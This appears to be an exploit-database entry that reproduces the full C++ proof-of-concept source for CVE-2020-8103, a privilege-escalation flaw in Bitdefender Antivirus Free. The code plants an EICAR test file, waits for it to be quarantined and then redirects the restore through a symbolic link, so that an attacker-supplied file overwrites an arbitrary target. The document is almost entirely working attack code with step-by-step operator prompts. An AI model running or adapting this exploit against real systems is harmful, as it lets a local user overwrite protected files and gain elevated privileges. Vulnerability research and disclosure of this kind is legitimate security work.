Exploit database

GH-e6bd2c7780c2abf607a6fd58824d00c6

redyopsresearchlabs/-cve-2020-8103-bitdefender-antivirus-free-eop

GitHubNot listedPoC
Download repository ZIP

Sources for CVE-2020-8103

2 sources

Preferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.

Repository files8

Files from this repository share one source choice. Supporting files may cover other vulnerabilities.

src/BitDefender Free/Exploit/Exploit.cpp

Suggested starting fileC++ · 4,105 bytes
//  This exploit code is heavily based on symboliclink testing tools from google's project zero 
//  https://github.com/googleprojectzero/symboliclink-testing-tools

#include "stdafx.h"

#include <FileSymlink.h>
#include <iostream>
#include <time.h>  
#include <random>


bool eicar(LPCWSTR sourceFilePublicFolderWSTR)
{
	// Open a handle to the file
	HANDLE hFile = CreateFile(
		sourceFilePublicFolderWSTR,   
		GENERIC_WRITE,          
		FILE_SHARE_READ,      
		NULL,                   
		CREATE_NEW,             
		FILE_ATTRIBUTE_NORMAL,  
		NULL);                  

	if (hFile == INVALID_HANDLE_VALUE)
	{
		// Failed to open/create file
		return false;
	}

	// Just to avoid sig of the exe
	std::string eicarPart1 = "X5O!P%@AP[4\PZX54(P^)7CC)7}$";
	std::string eicarPart2 = "EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"; 
	eicarPart1.append(eicarPart2);
	DWORD bytesWritten;
	WriteFile(
		hFile,           
		eicarPart1.c_str(), 
		eicarPart1.size(),   
		&bytesWritten,   
		nullptr);         


	CloseHandle(hFile);
	return true;
}

inline bool FileExists(const LPCWSTR& name) {
	struct _stat buf;
	return (_wstat(name, &buf) == 0);
}

std::wstring random_string(size_t length)
{
	auto randchar = []() -> char
	{
		
		const char charset[] =
			"0123456789"
			"ABCDEFGHIJKLMNOPQRSTUVWXYZ"
			"abcdefghijklmnopqrstuvwxyz";
		const size_t max_index = (sizeof(charset) - 1);
		return charset[rand() % max_index];
	};
	std::wstring str(length, 0);
	std::generate_n(str.begin(), length, randchar);
	return str;
}

void cls()
{
	system("@cls||clear");
}
int _tmain()
{

	HANDLE exploit = GetCurrentThread();
	SetThreadPriority(exploit, THREAD_PRIORITY_TIME_CRITICAL);

	PWSTR cmdline = GetCommandLineW();
	int argc;
	PWSTR* argv = CommandLineToArgvW(cmdline, &argc);
	LPCWSTR sourceFile = argv[1];
	LPCWSTR targetFileToReplace = argv[2];
	bool retval = false;
	HANDLE hFile;

	std::wstring sourceFilePublicFolderWSTR = L"C:\\users\\Public\\Music\\RESTORE_ME___";

	//append a random string
	srand((unsigned)time(NULL));
	sourceFilePublicFolderWSTR.append(random_string(5));
	sourceFilePublicFolderWSTR.append(L".txt");


	LPCWSTR baseobjdir = nullptr;
	bool permanent = true;
	FileSymlink csv(permanent);

	std::wcout << "Before you start, set the file " << targetFileToReplace <<" as an Exception to your AV. Then come back here and press ENTER to begin .\n\n" << std::endl;
	getc(stdin);

	eicar(sourceFilePublicFolderWSTR.c_str());

	std::wcout << "Don't worry about the AV. We want to Detect the EICAR file.\n\n" << std::endl;
	std::wcout << "If the AV has not detected the EICAR file, manually scan the file "<< sourceFilePublicFolderWSTR <<".\n\n" << std::endl;
	std::wcout << "Wait for the AV to detect your file and opt to send it to Quarantine.\n\n" << std::endl;
	
	Wow64DisableWow64FsRedirection(NULL);
	retval = true; //File Exists and we wait to be deleted
	do {
		retval = FileExists(sourceFilePublicFolderWSTR.c_str());
	} while (retval != false);

	std::wcout << "\n\n" << std::endl;
	std::wcout << "I go for a cofee. Give me a sec.\n\n" << std::endl;
	Sleep(50000); //The coffee shop
	std::wcout << "\n\n" << std::endl;
	system("ren c:\\Users\\Public\\Music Music2");
	std::wcout << "\n\n" << std::endl;
	std::wcout << "I am back. Oh no the bell. BRB.\n\n" << std::endl;

	Sleep(5000); //The bell. 

	csv.CreateSymlink(sourceFilePublicFolderWSTR.c_str(), targetFileToReplace, baseobjdir);

	std::wcout << "Nice! \n\n" << std::endl;
	std::wcout << "Go back to your AV, and choose to restore the file " << sourceFilePublicFolderWSTR << "\n\n" << std::endl;

	do {
		    hFile = CreateFile(
			targetFileToReplace,    
			GENERIC_WRITE,        
			FILE_SHARE_WRITE,      
			NULL,                
			OPEN_EXISTING,           
			FILE_ATTRIBUTE_NORMAL,  
			NULL);
	} while (hFile == INVALID_HANDLE_VALUE);
	

	CopyFile(sourceFile, targetFileToReplace, FALSE);


	std::wcout << "Gweeperx killed the witch!\n\n" << std::endl;

	
	return 0;
	
}